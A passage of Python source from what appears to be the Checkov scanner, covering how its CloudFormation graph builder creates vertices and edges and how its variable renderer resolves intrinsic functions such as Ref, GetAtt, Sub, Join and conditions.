isinstance(attributes, dict): attributes = DictNode({}, resource.start_mark, resource.end_mark) attributes["resource_type"] = resource_type attributes[START_LINE] = resource.get(START_LINE) attributes[END_LINE] = resource.get(END_LINE) attributes.start_mark = resource.start_mark attributes.end_mark = attributes.end_mark return attributes def _create_section_vertices( self, file_path: str, file_conf: dict[str, Any], section: TemplateSections, block_type: str, attributes_operator: Callable[[dict[str, Any]], dict[str, Any]] = lambda a: a, ) -> None: for name, obj in get_only_dict_items(file_conf.get(section.value, {})).items(): is_resources_section = section == TemplateSections.RESOURCES attributes = attributes_operator(obj) block_name = name if not is_resources_section else f"{obj.get('Type', 'UnTyped')}.{name}" config = obj if not is_resources_section else cast("dict[str, Any]", obj.get("Properties")) metadata = obj.get("Metadata") id = f"{block_type}.{block_name}" if not is_resources_section else block_name self.vertices.append(CloudformationBlock( name=block_name, config=config, path=file_path, block_type=block_type, attributes=attributes, id=id, source=self.source, metadata=metadata )) if not self._vertices_indexes.get(file_path): self._vertices_indexes[file_path] = {} self._vertices_indexes[file_path][name] = len(self.vertices) - 1 def _add_sam_globals(self) -> None: # behaviour regarding overrides # https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/sam-specification-template-anatomy-globals.html#sam-specification-template-anatomy-globals-overrideable for index in self.vertices_by_block_type.get(BlockType.GLOBALS, []): globals_vertex = self.vertices[index] related_vertices = [ vertex for vertex in self.vertices if vertex.block_type == BlockType.RESOURCE and vertex.path == globals_vertex.path and vertex.attributes.get("resource_type") == GLOBALS_RESOURCE_TYPE_MAP.get(globals_vertex.name) ] for property, value in globals_vertex.attributes.items(): if property.endswith((START_LINE, END_LINE)): continue if property.startswith("Tags"): # TODO: support Tags properly continue for vertex in related_vertices: if property not in vertex.attributes: self.update_vertex_attribute( vertex_index=self.vertices.index(vertex), attribute_key=property, attribute_value=value, change_origin_id=index, attribute_at_dest=property, transform_step=True, ) elif isinstance(value, list): # Remove duplicates list_updated_value = [*vertex.attributes[property], *value] list_updated_value_unique = [] for item in list_updated_value: if item not in list_updated_value_unique: list_updated_value_unique.append(item) self.update_vertex_attribute( vertex_index=self.vertices.index(vertex), attribute_key=property, attribute_value=list_updated_value_unique, change_origin_id=index, attribute_at_dest=property, transform_step=True, ) def update_vertices_breadcrumbs(self) -> None: """ The function processes each vertex's breadcrumbs: 1. Get more data to each vertex in breadcrumb (name, path, hash and type) """ for vertex in self.vertices: for attribute_key, breadcrumbs_list in vertex.changed_attributes.items(): hash_breadcrumbs = [] for breadcrumb in breadcrumbs_list: breadcrumb_data = self.vertices[breadcrumb.vertex_id].get_export_data() breadcrumb_data['attribute_key'] = breadcrumb.attribute_key hash_breadcrumbs.append(breadcrumb_data) vertex.breadcrumbs[attribute_key] = hash_breadcrumbs def _add_resource_attr_connections(self, attribute: str) -> None: if attribute not in self.SUPPORTED_RESOURCE_ATTR_CONNECTION_KEYS: return for origin_node_index, vertex in enumerate(self.vertices): if vertex.block_type == BlockType.RESOURCE: vertex_path = vertex.path vertex_name = vertex.name.split('.')[-1] target_ids = self.definitions.get(vertex_path, {}) \ .get(TemplateSections.RESOURCES.value, {}).get(vertex_name, {}).get(attribute, None) target_ids = [target_ids] if isinstance(target_ids, str) else target_ids if isinstance(target_ids, list): for target_id in target_ids: if isinstance(target_id, str): dest_vertex_index = self._vertices_indexes.get(vertex_path, {}).get(target_id, None) if dest_vertex_index is not None: self._create_edge(origin_node_index, dest_vertex_index, label=attribute) else: logging.debug( f"[CloudformationLocalGraph] did not create edge for target_id {target_id}" f"and vertex_path {vertex_path} as target_id is not a string" ) else: logging.debug( f"[CloudformationLocalGraph] did not create edge for target_ids {target_ids}" f"and vertex_path {vertex_path} as target_ids is not a list" ) def _extract_source_value_attrs(self, matching_path: list[Any]) -> tuple[str, Any, list[Any]]: """ matching_path for Resource = [template_section, source_id, 'Properties', ... , key, value] matching_path otherwise = # matching_path for Resource = [template_section, source_id, ... , key, value] key = a member of SUPPORTED_FN_CONNECTION_KEYS """ template_section = matching_path[0] source_id = matching_path[1] value = matching_path[-1] attrs_starting_index = 3 if template_section == TemplateSections.RESOURCES else 2 attributes = matching_path[attrs_starting_index:-2] return source_id, value, attributes def _add_fn_connections(self, key: str) -> None: if key not in self.SUPPORTED_FN_CONNECTION_KEYS: return extract_target_id_func = self._connection_key_func.get(key, None) if not ismethod(extract_target_id_func): return for file_path, cfndict in self.definitions.items(): matching_paths = self.search_deep_keys(key, cfndict) for matching_path in matching_paths: source_id, value, attributes = self._extract_source_value_attrs(matching_path) target_id = extract_target_id_func(cfndict, value) if target_id: origin_vertex_index, dest_vertex_index, label = self._extract_origin_dest_label( file_path, source_id, target_id, attributes) if origin_vertex_index is not None and dest_vertex_index is not None: self._create_edge(origin_vertex_index, dest_vertex_index, label) def search_deep_keys(self, searchText: str, cfndict: dict[str, Any], includeGlobals: bool = True) -> list[list[Any]]: """ Search for a key in all parts of the template. :return if searchText is "Ref", an array like ['Resources', 'myInstance', 'Properties', 'ImageId', 'Ref', 'Ec2ImageId'] """ logging.debug(f'Search for key {searchText} as far down as the template goes') results: "list[list[int | str]]" = [] results.extend(search_deep_keys(searchText, cfndict, [])) # Globals are removed during a transform. They need to be checked manually if includeGlobals: cfn_globals: "dict[str, Any] | None" = self.transform_pre.get('Globals') pre_results = search_deep_keys(searchText, cfn_globals, []) for pre_result in pre_results: results.append(['Globals', *pre_result]) return results def _fetch_if_target_id(self, cfndict: dict[str, Any], value: Any) -> Optional[int]: target_id = None # value = [condition_name, value_if_true, value_if_false] if isinstance(value, list) and len(value) == 3 and (self._is_of_type(cfndict, value[0], TemplateSections.CONDITIONS)): target_id = value[0] return target_id def _fetch_getatt_target_id(self, cfndict: dict[str, Any], value: Any) -> Optional[int]: """ might be one of the 2 following notations: 1st: { "Fn::GetAtt" : [ "logicalNameOfResource", "attributeName" ] } 2nd: { "!GetAtt" : "logicalNameOfResource.attributeName" } """ target_id = None # Fn::GetAtt notation if isinstance(value, list) and len(value) == 2 and (self._is_of_type(cfndict, value[0], TemplateSections.RESOURCES)): target_id = value[0] # !GetAtt notation if isinstance(value, str) and '.' in value: resource_id = value.split('.')[0] if self._is_of_type(cfndict, resource_id, TemplateSections.RESOURCES): target_id = resource_id return target_id def _fetch_ref_target_id(self, cfndict: dict[str, Any], value: Any) -> int | str | None: target_id = None # value might be a string or a list of strings if isinstance(value, (str, int)) \ and (self._is_of_type(cfndict, value, TemplateSections.RESOURCES, TemplateSections.PARAMETERS)): target_id = value return target_id def _fetch_connection_target_id(self, cfndict: dict[str, Any], value: Any) -> int | str | None: target_id = None # value might be a string or a list of strings if isinstance(value, (str, int)) \ and (self._is_of_type(cfndict, value, TemplateSections.CONDITIONS)): target_id = value return target_id def _fetch_findinmap_target_id(self, cfndict: dict[str, Any], value: Any) -> Optional[int]: target_id = None # value = [ MapName, TopLevelKey, SecondLevelKey ] if isinstance(value, list) and len(value) == 3 and (self._is_of_type(cfndict, value[0], TemplateSections.MAPPINGS)): target_id = value[0] return target_id def _add_fn_sub_connections(self) -> None: for file_path, cfndict in self.definitions.items(): # add edges for "Fn::Sub" tags. E.g. { "Fn::Sub": "arn:aws:ec2:${AWS::Region}:${AWS::AccountId}:vpc/${vpc}" } sub_objs = self.search_deep_keys(IntrinsicFunctions.SUB, cfndict) for sub_obj in sub_objs: sub_parameters = [] sub_parameter_values = {} source_id, value, attributes = self._extract_source_value_attrs(sub_obj) if isinstance(value, list): if not value: continue if len(value) == 2: sub_parameter_values = value[1] sub_parameters = self._find_fn_sub_parameter(value[0]) elif isinstance(value, str): sub_parameters = self._find_fn_sub_parameter(value) for sub_parameter in sub_parameters: if sub_parameter not in sub_parameter_values: if '.' in sub_parameter: sub_parameter = sub_parameter.split('.')[0] origin_vertex_index, dest_vertex_index, label = self._extract_origin_dest_label( file_path, source_id, sub_parameter, attributes) if origin_vertex_index is not None and dest_vertex_index is not None: self._create_edge(origin_vertex_index, dest_vertex_index, label) def _extract_origin_dest_label( self, file_path: str, source_id: str, target_id: str, attributes: list[Any] ) -> tuple[int | None, int | None, str]: origin_vertex_index = self._vertices_indexes.get(file_path, {}).get(source_id, None) dest_vertex_index = self._vertices_indexes.get(file_path, {}).get(target_id, None) attributes_joined = '.'.join(map(str, attributes)) # mapping all attributes to str because one of the attrs might be an int return origin_vertex_index, dest_vertex_index, attributes_joined @staticmethod def _find_fn_sub_parameter(string: str) -> list[str]: """Search string for tokenized fields""" try: return TOKENIZED_FIELD_PATTERN.findall(string) except Exception as e: logging.warning(f'cant find fn sub parameter for: {string}, error: {str(e)}') return [] def _fill_in_out_edges(self) -> None: for i in range(len(self.vertices)): if i not in self.in_edges: self.in_edges[i] = [] if i not in self.out_edges: self.out_edges[i] = [] def get_resources_types_in_graph(self) -> List[str]: return [] def _create_edges(self) -> None: self._add_resource_attr_connections(ResourceAttributes.DEPENDS_ON) self._add_resource_attr_connections(IntrinsicFunctions.CONDITION) self._add_fn_connections(IntrinsicFunctions.CONDITION) self._add_fn_connections(IntrinsicFunctions.GET_ATT) self._add_fn_connections(ConditionFunctions.IF) self._add_fn_connections(IntrinsicFunctions.REF) self._add_fn_connections(IntrinsicFunctions.FIND_IN_MAP) self._add_fn_sub_connections() self._fill_in_out_edges() def _create_edge(self, origin_vertex_index: int, dest_vertex_index: int, label: str) -> None: if origin_vertex_index == dest_vertex_index or not label: return edge = Edge(origin_vertex_index, dest_vertex_index, label) if edge not in self._edges_set: self._edges_set.add(edge) self.edges.append(edge) self.out_edges[origin_vertex_index].append(edge) self.in_edges[dest_vertex_index].append(edge) @staticmethod def _is_of_type(cfndict: dict[str, Any], identifier: Any, *template_sections: TemplateSections) -> bool: if isinstance(identifier, str): for ts in template_sections: ts_var = cfndict.get(ts, {}) if ts_var is None: continue if ts_var.get(identifier): return True return False def update_vertices_configs(self) -> None: for vertex in self.vertices: changed_attributes = list(vertex.changed_attributes.keys()) if changed_attributes: self.update_vertex_config(vertex, changed_attributes) @staticmethod def update_vertex_config( vertex: Block, changed_attributes: list[str] | dict[str, Any], dynamic_blocks: bool = False ) -> None: if not changed_attributes: return if not isinstance(vertex.config, dict): return updated_config = pickle_deepcopy(vertex.config) if isinstance(changed_attributes, dict): attributes_to_update = list(changed_attributes.keys()) else: attributes_to_update = changed_attributes attributes_to_update = filter_sub_keys(attributes_to_update) for attribute in attributes_to_update: if attribute not in vertex.attributes: continue new_value = vertex.attributes[attribute] update_dictionary_attribute(updated_config, attribute, new_value) vertex.config = updated_config def get_only_dict_items(origin_dict: Union[Dict[str, Any], Any]) -> Dict[str, Dict[str, Any]]: if not isinstance(origin_dict, dict): return {} return {key: value for key, value in origin_dict.items() if isinstance(value, dict)} ================================================ FILE: checkov/cloudformation/graph_builder/utils.py ================================================ import re from typing import Union, List, Dict from checkov.cloudformation.graph_builder.variable_rendering.vertex_reference import CloudformationVertexReference from checkov.cloudformation.parser.cfn_keywords import IntrinsicFunctions REMOVE_INTERPOLATION_PATTERN = re.compile("[${}]") FIND_INTERPOLATION_PATTERN = re.compile(r"\${([a-zA-Z0-9.]*?)}") GLOBALS_RESOURCE_TYPE_MAP = { "Function": "AWS::Serverless::Function", "Api": "AWS::Serverless::Api", "HttpApi": "AWS::Serverless::HttpApi", "SimpleTable": "AWS::Serverless::SimpleTable", } def get_vertices_references(str_value: str, vertices_block_name_map: Dict[str, Dict[str, List[int]]]) -> List[CloudformationVertexReference]: vertices_references = [] words_in_str_value = str_value.split() for word in words_in_str_value: word_sub_parts = word.split(".") suspected_block = word_sub_parts[0] for block_type, blocks_dict in vertices_block_name_map.items(): if suspected_block in blocks_dict: vertex_reference = CloudformationVertexReference( block_type=block_type, sub_parts=word_sub_parts, origin_value=suspected_block ) if vertex_reference not in vertices_references: vertices_references.append(vertex_reference) break return vertices_references def remove_interpolation(str_value: str, replace_str: str = " ") -> str: if "${" not in str_value: # otherwise it is not an interpolation return str_value return re.sub(REMOVE_INTERPOLATION_PATTERN, replace_str, str_value) def find_all_interpolations(str_value: str) -> List[str]: return re.findall(FIND_INTERPOLATION_PATTERN, str_value) def get_referenced_vertices_in_value( value: Union[str, List[str], Dict[str, str]], vertices_block_name_map: Dict[str, Dict[str, List[int]]], ) -> List[CloudformationVertexReference]: references_vertices = [] if isinstance(value, list): for sub_value in value: references_vertices += get_referenced_vertices_in_value( sub_value, vertices_block_name_map ) if isinstance(value, dict): for key, sub_value in value.items(): if key == IntrinsicFunctions.GET_ATT: sub_value = '.'.join(sub_value) if \ isinstance(sub_value, list) and all(isinstance(s, str) for s in sub_value) else sub_value references_vertices += get_referenced_vertices_in_value( sub_value, vertices_block_name_map ) if isinstance(value, str): value = remove_interpolation(value) references_vertices = get_vertices_references(value, vertices_block_name_map) return references_vertices ================================================ FILE: checkov/cloudformation/graph_builder/variable_rendering/__init__.py ================================================ ================================================ FILE: checkov/cloudformation/graph_builder/variable_rendering/renderer.py ================================================ from __future__ import annotations import json import logging from typing import TYPE_CHECKING, Tuple, List, Any, Dict, Optional, Callable, TypedDict from checkov.cloudformation.graph_builder.graph_components.block_types import BlockType from checkov.cloudformation.graph_builder.utils import get_referenced_vertices_in_value, find_all_interpolations from checkov.cloudformation.graph_builder.variable_rendering.vertex_reference import VertexReference from checkov.cloudformation.parser.cfn_keywords import IntrinsicFunctions, ConditionFunctions, PseudoParameters from checkov.common.graph.graph_builder import Edge, CustomAttributes from checkov.common.graph.graph_builder.graph_components.blocks import Block from checkov.common.graph.graph_builder.variable_rendering.renderer import VariableRenderer from checkov.common.parsers.node import StrNode from checkov.common.util.data_structures_utils import pickle_deepcopy if TYPE_CHECKING: from checkov.cloudformation.graph_builder.graph_components.blocks import CloudformationBlock from checkov.cloudformation.graph_builder.local_graph import CloudformationLocalGraph from typing_extensions import TypeAlias _EdgeEvaluationMethodsEntry: TypeAlias = "dict[str, Callable[[Any, dict[str, Any]], tuple[str | None, str | None]]]" _VertexEvaluationMethodsEntry: TypeAlias = "dict[str, Callable[[Any], str | None]]" class _EvaluatedEdge(TypedDict): vertex_index: int attribute_key: str attribute_value: Any change_origin_id: int | None attribute_at_dest: str | None class CloudformationVariableRenderer(VariableRenderer["CloudformationLocalGraph"]): EDGE_EVALUATION_CFN_FUNCTIONS = ( IntrinsicFunctions.REF, IntrinsicFunctions.FIND_IN_MAP, IntrinsicFunctions.GET_ATT, IntrinsicFunctions.SUB, ConditionFunctions.IF) VERTEX_EVALUATION_CFN_FUNCTIONS = (IntrinsicFunctions.SELECT, IntrinsicFunctions.JOIN) CONDITIONS_EVALUATED_FUNCTIONS = (ConditionFunctions.OR, ConditionFunctions.AND, ConditionFunctions.EQUALS, ConditionFunctions.NOT, IntrinsicFunctions.CONDITION) def __init__(self, local_graph: "CloudformationLocalGraph") -> None: super().__init__(local_graph) self.edge_evaluation_methods: _EdgeEvaluationMethodsEntry = { IntrinsicFunctions.REF: self._evaluate_ref_connection, IntrinsicFunctions.FIND_IN_MAP: self._evaluate_findinmap_connection, IntrinsicFunctions.GET_ATT: self._evaluate_getatt_connection, IntrinsicFunctions.SUB: self._evaluate_sub_connection } self.vertex_evaluation_methods: "dict[str, Callable[[Any], str | None]]" = { IntrinsicFunctions.SELECT: self._evaluate_select_function, IntrinsicFunctions.JOIN: self._evaluate_join_function } self.vertices_block_name_map = self._extract_vertices_block_name_map() """ This method will evaluate Ref, Fn::FindInMap, Fn::GetAtt, Fn::Sub """ def evaluate_vertex_attribute_from_edge(self, edge_list: List[Edge]) -> None: edge = edge_list[0] origin_vertex = self.local_graph.vertices[edge.origin] origin_vertex_attributes = origin_vertex.attributes val_to_eval = pickle_deepcopy(origin_vertex_attributes.get(edge.label, "")) referenced_vertices = get_referenced_vertices_in_value( value=val_to_eval, vertices_block_name_map=self.vertices_block_name_map ) if not referenced_vertices: # DependsOn or Condition connections self._handle_dependson_condition_connections(edge, origin_vertex) elif isinstance(val_to_eval, dict): self._handle_edge_list_evaluation_functions(edge_list, origin_vertex, val_to_eval) """ This method will evaluate Fn::Select, Fn::Join """ def _render_variables_from_vertices(self) -> None: for vertex in self.local_graph.vertices: vertex_attributes = pickle_deepcopy(vertex.attributes) for attr_key, attr_value in vertex_attributes.items(): # Iterating on Fn::Join, Fn::Select and checking if they are # in the current attribute value cfn_evaluation_function = next( (curr_evaluation_function for curr_evaluation_function in self.VERTEX_EVALUATION_CFN_FUNCTIONS if isinstance(attr_value, dict) and curr_evaluation_function in attr_value), None ) if cfn_evaluation_function: # Found Fn::Join or Fn::Select to evaluate val_to_eval = attr_value[cfn_evaluation_function] evaluated_value = self.vertex_evaluation_methods[cfn_evaluation_function](val_to_eval) if evaluated_value is not None: vertex.update_attribute( attribute_key=attr_key, attribute_value=evaluated_value, change_origin_id=None, previous_breadcrumbs=[], attribute_at_dest=None ) """ Valid value for the Select function is: [index, [item1, item2, ...]] while index could an int or a string representing an int and the list could be a list or a string representing a list """ @staticmethod def _evaluate_select_function(value: list[int | str | list[str]]) -> Optional[str]: evaluated_value = None if len(value) != 2: return None idx_to_select = value[0] if not isinstance(idx_to_select, (int, str)): return None selection_list = value[1] if not isinstance(selection_list, (str, list)): return None if isinstance(selection_list, str): selection_list = selection_list.split(', ') # convert idx_to_select to int if possible because it might be a str_node if isinstance(idx_to_select, str) and str.isdecimal(idx_to_select): idx_to_select = int(idx_to_select) if isinstance(idx_to_select, int) and isinstance(selection_list, list) \ and 0 <= idx_to_select < len(selection_list): evaluated_value = selection_list[idx_to_select] if 'Fn::' in evaluated_value or "AWS::" in evaluated_value or 'Ref' in evaluated_value: # Don't render if a non-evaluated value has been selected return None return evaluated_value """ Valid value for the Join function is: [ delimiter, [ comma-delimited list of values ] ] the list could be a list or a string representing a list """ @staticmethod def _evaluate_join_function(value: list[str | list[str]]) -> Optional[str]: evaluated_value = None if len(value) != 2: return None delimiter = value[0] values_list = value[1] if not isinstance(values_list, (str, list)): return None if isinstance(values_list, str): values_list = values_list.split(', ') for inner_value in values_list: if not isinstance(inner_value, str): return None if isinstance(delimiter, str) and isinstance(values_list, list): for curr_value in values_list: if isinstance(curr_value, dict): # non-evaluated values then don't render return None evaluated_value = delimiter.join(values_list) return evaluated_value @staticmethod def _evaluate_ref_connection(value: Any, dest_vertex_attributes: Dict[str, Any]) -> tuple[str | None, str | None]: # in case of Ref we take only Parameter's default value attribute_at_dest = 'Default' evaluated_value = dest_vertex_attributes.get(attribute_at_dest) if ( evaluated_value is not None and value == dest_vertex_attributes.get(CustomAttributes.BLOCK_NAME) and dest_vertex_attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.PARAMETERS ): return str(evaluated_value), attribute_at_dest return None, None def _fetch_vertex_attributes(self, block_name: str, block_type: str) -> dict[str, Any] | None: vertex_attributes = None vertex_index_list = self.local_graph.vertices_block_name_map.get(block_type, {}).get(block_name, None) if isinstance(vertex_index_list, list): vertex_index = vertex_index_list[0] vertex_attributes = self.local_graph.get_vertex_attributes_by_index(vertex_index) return vertex_attributes def _evaluate_condition_by_name(self, condition_name: str) -> Optional[bool]: """ Evaluate CFN condition by the condition name. This method simply fetches the vertex from the local graph by the condition name, and calls the method _evaluate_condition_by_vertex_attributes """ evaluated_condition = None condition_vertex_attributes = self._fetch_vertex_attributes(condition_name, BlockType.CONDITIONS) if condition_vertex_attributes: evaluated_condition = self._evaluate_condition_by_vertex_attributes(condition_vertex_attributes) return evaluated_condition def _evaluate_condition_by_vertex_attributes(self, vertex_attributes: Dict[str, Any]) -> Optional[bool]: """ Evaluate CFN vertex condition by the vertex's attributes. This method searches for a condition function in the attributes, and when found, calls the method _evaluate_condition with the condition found and its value to evaluate """ condition_to_evaluate, value_to_evaluate = next( ((current_condition_function, vertex_attributes[current_condition_function]) for current_condition_function in self.CONDITIONS_EVALUATED_FUNCTIONS if current_condition_function in vertex_attributes), (None, None)) return self._evaluate_condition(condition_to_evaluate, value_to_evaluate) def _evaluate_condition(self, condition_fn: str | None, value: Any) -> Optional[bool]: """ Evaluate CFN condition function's value Examples -------- _evaluate_condition('Fn::Equals', ['test', 'prod']) -> False _evaluate_condition('Fn::Not', {'Fn::Equals': ['test', 'prod']}) -> True _evaluate_condition('Fn::Not', {'Fn::Equals': ['test', 'prod']}) -> True _evaluate_condition('Fn::Or', [{'Fn::Equals': ['parameter1name', 'parameter1name']}, {'Fn::Equals': ['parameter2name', 'wrongname']}] -> True _evaluate_condition('Condition', 'IsProduction'] -> True """ if condition_fn == IntrinsicFunctions.CONDITION: return self._evaluate_condition_by_name(value) elif condition_fn == ConditionFunctions.EQUALS: if isinstance(value, list) and len(value) == 2 and isinstance(value[0], str) and isinstance(value[1], str): return value[0] == value[1] elif condition_fn == ConditionFunctions.NOT: evaluated_condition = self._fetch_condition_dict(value) if isinstance(evaluated_condition, bool): return not evaluated_condition elif condition_fn == ConditionFunctions.AND and isinstance(value, list) and len(value) == 2: operand1 = self._fetch_condition_dict(value[0]) operand2 = self._fetch_condition_dict(value[1]) if isinstance(operand1, bool) and isinstance(operand2, bool): return operand1 and operand2 elif condition_fn == ConditionFunctions.OR and isinstance(value, list) and len(value) == 2: operand1 = self._fetch_condition_dict(value[0]) operand2 = self._fetch_condition_dict(value[1]) if isinstance(operand1, bool) and isinstance(operand2, bool): return operand1 or operand2 return None # failed to evaluate the condition def _fetch_condition_dict(self, condition_dict: Dict[str, Any]) -> Optional[bool]: """ Evaluate a condition dict of fn and value. This method basically receives a complex parameter which is a dict of a CFN fn and its value to evaluate, extracts them and calls _evaluate_condition for evaluation Examples -------- _fetch_condition_operand_value({'Fn::Equals': ['parameter1name', 'parameter1name']}) -> True _fetch_condition_operand_value({'Fn::Equals': ['parameter1name', 'wrongname'], '__startline__': 144, '__endline__': 151}) -> False _fetch_condition_operand_value({'Condition': 'IsProduction', '__startline__': 109, '__endline__': 111}) -> True _fetch_condition_operand_value({'Condition': 'IsDevelop'}] -> False """ if isinstance(condition_dict, dict): inner_condition, inner_value = next( ((current_condition_function, condition_dict[current_condition_function]) for current_condition_function in self.CONDITIONS_EVALUATED_FUNCTIONS if current_condition_function in condition_dict), (None, None)) if inner_condition and inner_value: return self._evaluate_condition(inner_condition, inner_value) return None @staticmethod def _evaluate_findinmap_connection( value: Any, dest_vertex_attributes: Dict[str, Any] ) -> tuple[str | None, str | None]: # value = [ "MapName", "TopLevelKey", "SecondLevelKey"] if isinstance(value, list) and len(value) == 3: map_name = value[0] top_level_key = value[1] second_level_key = value[2] attribute_at_dest = f'{top_level_key}.{second_level_key}' evaluated_value = dest_vertex_attributes.get(attribute_at_dest) if evaluated_value and \ all(isinstance(element, str) for element in value) and \ map_name == dest_vertex_attributes.get(CustomAttributes.BLOCK_NAME) and \ dest_vertex_attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.MAPPINGS: return str(evaluated_value), attribute_at_dest return None, None @staticmethod def _evaluate_getatt_connection( value: Any, dest_vertex_attributes: Dict[str, Any] ) -> tuple[str | None, str | None]: # value = [ "logicalNameOfResource", "attributeName" ] try: if isinstance(value, list) and len(value) == 2: resource_name = value[0] attribute_at_dest = value[1] dest_name = dest_vertex_attributes[CustomAttributes.BLOCK_NAME].split('.')[-1] evaluated_value = dest_vertex_attributes.get( attribute_at_dest) # we extract only build time atts, not runtime if evaluated_value and \ all(isinstance(element, str) for element in value) and \ resource_name == dest_name and \ dest_vertex_attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.RESOURCE: return str(evaluated_value), attribute_at_dest except TypeError as e: logging.debug(f"unable to _evaluate_getatt_connection: {e}") return None, None def _evaluate_sub_connection( self, value: Any, dest_vertex_attributes: Dict[str, Any] ) -> tuple[str | None, str | None]: if isinstance(value, (list, dict)): # TODO: Render values of list/dict types return None, None evaluated_value = None attribute_at_dest = None # value = '..${ref/getatt}..${ref/getatt}..${ref/getatt}..' block_name = dest_vertex_attributes.get(CustomAttributes.BLOCK_NAME, '') block_type = dest_vertex_attributes.get(CustomAttributes.BLOCK_TYPE, '') if block_type == BlockType.RESOURCE and isinstance(block_name, str): block_name = block_name.split('.')[-1] vars_set = set(find_all_interpolations(value)) # a list of parameters and resources.at.attribute vars_list = [var for var in vars_set if block_name in var] # get only relevant interpolations if block_type == BlockType.PARAMETERS: block_evaluated_value, block_attribute = self._evaluate_ref_connection(block_name, dest_vertex_attributes) if block_evaluated_value: evaluated_value = value.replace(f'${{{block_name}}}', block_evaluated_value) attribute_at_dest = block_attribute evaluated_value = evaluated_value if evaluated_value else value elif block_type == BlockType.RESOURCE and block_name: for var in vars_list: split_var = var.split('.') block_evaluated_value, block_attribute = self._evaluate_getatt_connection(split_var, dest_vertex_attributes) if block_evaluated_value: evaluated_value = value.replace(f'${{{var}}}', block_evaluated_value) attribute_at_dest = block_attribute evaluated_value = evaluated_value if evaluated_value else value return evaluated_value, attribute_at_dest def _evaluate_if_connection( self, value: List[str], condition_vertex_attributes: Dict[str, Any] ) -> tuple[str | None, str | None]: """ Evaluate a Condition Function IF. This method receives 2 parameters: value: a value to evaluate, e.g. [ConditionName, OperandIfTrue, OperandIfFalse] condition_vertex_attributes: the attributes of the ConditionName vertex The response is composed of the evaluated value and the hierarchy in case of nested Fn:Ifs functions, so later we can check if it used to be a Parameter of a literal string and so update the breadcrumbs Examples -------- _fetch_condition_operand_value(['CreateProdResources', 'c1.xlarge', 'm1.large'], {...CreateProdResources vertex attributes...}) -> c1.xlarge if CreateProdResources is true, otherwise m1.large _fetch_condition_operand_value(['CreateProdResources', 'c1.xlarge', {'Fn::If': ['CreateDevResources', 'm1.large', 'm1.small']}]) -> If CreateProdResoruces if false & CreateDevResources if true then m1.large """ evaluated_condition, evaluated_value, evaluated_value_hierarchy = (None, None, None) try: condition_name = value[0] operand_if_true = value[1] operand_if_false = value[2] except KeyError: logging.info(f'Unexpected input for cfn if evaluation: {value}. ' f'Template: {condition_vertex_attributes[CustomAttributes.FILE_PATH]}' f'Block: {condition_vertex_attributes[CustomAttributes.BLOCK_NAME]}') return evaluated_value, evaluated_value_hierarchy # First, we evaluate the ConditionName if isinstance(condition_name, str) and\ condition_name == condition_vertex_attributes.get(CustomAttributes.BLOCK_NAME) and \ condition_vertex_attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.CONDITIONS: evaluated_condition = self._evaluate_condition_by_name(condition_name) # After we evaluate ConditionName, we fetch OperandIfTrue or OperandIfFalse (according to the result) if isinstance(evaluated_condition, bool): (operand_index, operand_to_eval) = (1, operand_if_true) if evaluated_condition else (2, operand_if_false) if isinstance(operand_to_eval, str): # The operand is a simple string evaluated_value = operand_to_eval evaluated_value_hierarchy = str(operand_index) elif isinstance(operand_to_eval, dict): if ConditionFunctions.IF in operand_to_eval: # The operand is {'Fn::If': new value to evaluate} condition_to_eval = operand_to_eval[ConditionFunctions.IF] if isinstance(condition_to_eval, list) and isinstance(condition_to_eval[0], str): condition_vertex_attributes = self._fetch_vertex_attributes(condition_to_eval[0], BlockType.CONDITIONS) evaluated_value, evaluated_value_operand_index = self._evaluate_if_connection(condition_to_eval, condition_vertex_attributes) evaluated_value_hierarchy = f'{operand_index}.{ConditionFunctions.IF}.{evaluated_value_operand_index}' elif not any([op for op in self.CONDITIONS_EVALUATED_FUNCTIONS if op in operand_to_eval]): # The operand is a dict without any further actions to perform evaluated_value = operand_to_eval return evaluated_value, evaluated_value_hierarchy @staticmethod def find_path_from_referenced_vertices( referenced_vertices: List[VertexReference], vertex_attributes: Dict[str, Any] ) -> Tuple[List[str], str]: """ :param referenced_vertices: an array of VertexReference :param vertex_attributes: attributes to search :return attribute_path: [] if referenced_vertices does not contain vertex_attributes, else the path to the searched attribute :return origin_value """ for vertex_reference in referenced_vertices: block_type = vertex_reference.block_type attribute_path = vertex_reference.sub_parts if vertex_attributes[CustomAttributes.BLOCK_TYPE] == block_type: for i in range(len(attribute_path)): name = ".".join(attribute_path[: i + 1]) if vertex_attributes[CustomAttributes.BLOCK_NAME] == name: return attribute_path, vertex_reference.origin_value return [], "" def _extract_vertices_block_name_map(self) -> Dict[str, Dict[str, List[int]]]: vertices_block_name_map = pickle_deepcopy(self.local_graph.vertices_block_name_map) resources_blocks_name_map = vertices_block_name_map[BlockType.RESOURCE] updated_resources_blocks_name_map = {} for resource_name, blocks_list in resources_blocks_name_map.items(): shortened_resource_name = resource_name.split('.')[ -1] # Trims AWS::X::Y.ResourceName and leaves us with ResoruceName updated_resources_blocks_name_map[shortened_resource_name] = blocks_list vertices_block_name_map[BlockType.RESOURCE] = updated_resources_blocks_name_map return vertices_block_name_map def _handle_dependson_condition_connections(self, edge: Edge, origin_vertex: CloudformationBlock) -> None: if edge.label == IntrinsicFunctions.CONDITION: dest_vertex_attributes = self.local_graph.get_vertex_attributes_by_index(edge.dest) evaluated_condition = self._evaluate_condition_by_vertex_attributes(dest_vertex_attributes) if isinstance(evaluated_condition, bool): # evaluated the condition successfully, add the result to the origin vertex origin_vertex.condition = evaluated_condition def _handle_edge_list_evaluation_functions(self, edge_list: List[Edge], origin_vertex: Block, val_to_eval: Dict[str, Any]) -> None: # Ref, GetAtt, FindInMap, If, Sub connections cfn_evaluation_function = next(( curr_evaluation_function for curr_evaluation_function in self.EDGE_EVALUATION_CFN_FUNCTIONS if curr_evaluation_function in val_to_eval ), None) if cfn_evaluation_function: evaluated_edges: "list[_EvaluatedEdge]" = [] for edge in edge_list: dest_vertex_attributes = self.local_graph.get_vertex_attributes_by_index(edge.dest) try: (evaluated_value, changed_origin_id, attribute_at_dest) = self._evaluate_cfn_function( edge, origin_vertex, cfn_evaluation_function, val_to_eval, dest_vertex_attributes) except KeyError: logging.info(f'Failed to evalue cfn function. val_to_eval: {val_to_eval}') continue if evaluated_value: # succeeded to evaluate an edge val_to_eval[cfn_evaluation_function] = evaluated_value evaluated_edges.append({ 